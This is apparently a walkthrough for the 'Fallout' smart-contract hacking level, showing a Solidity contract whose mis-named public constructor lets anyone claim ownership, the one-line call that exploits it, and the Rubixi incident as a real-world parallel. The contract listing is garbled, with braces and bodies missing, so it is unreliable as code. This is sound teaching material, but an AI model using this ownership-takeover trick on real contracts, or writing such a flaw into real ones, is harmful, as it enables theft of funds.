Claim ownership of the contract below to complete this level.
Things that might help:
  • Solidity Remix IDE

Code Audit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
modifier onlyOwner {
msg.sender == owner,
"caller is not the owner"
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
function collectAllocations() public onlyOwner {
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
Since Fal1out() is public, anyone can call it and become the owner of this contract.


Call Fal1out():
await contract.Fal1out()
Click "Submit instance" and move on to the next level.


That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?
Well... Not quite.
The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:
contract Rubixi {
address private owner;
function DynamicPyramid() { owner = msg.sender; }
function collectAllFees() { owner.transfer(this.balance) }
This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smartcontractland.
Last modified 1mo ago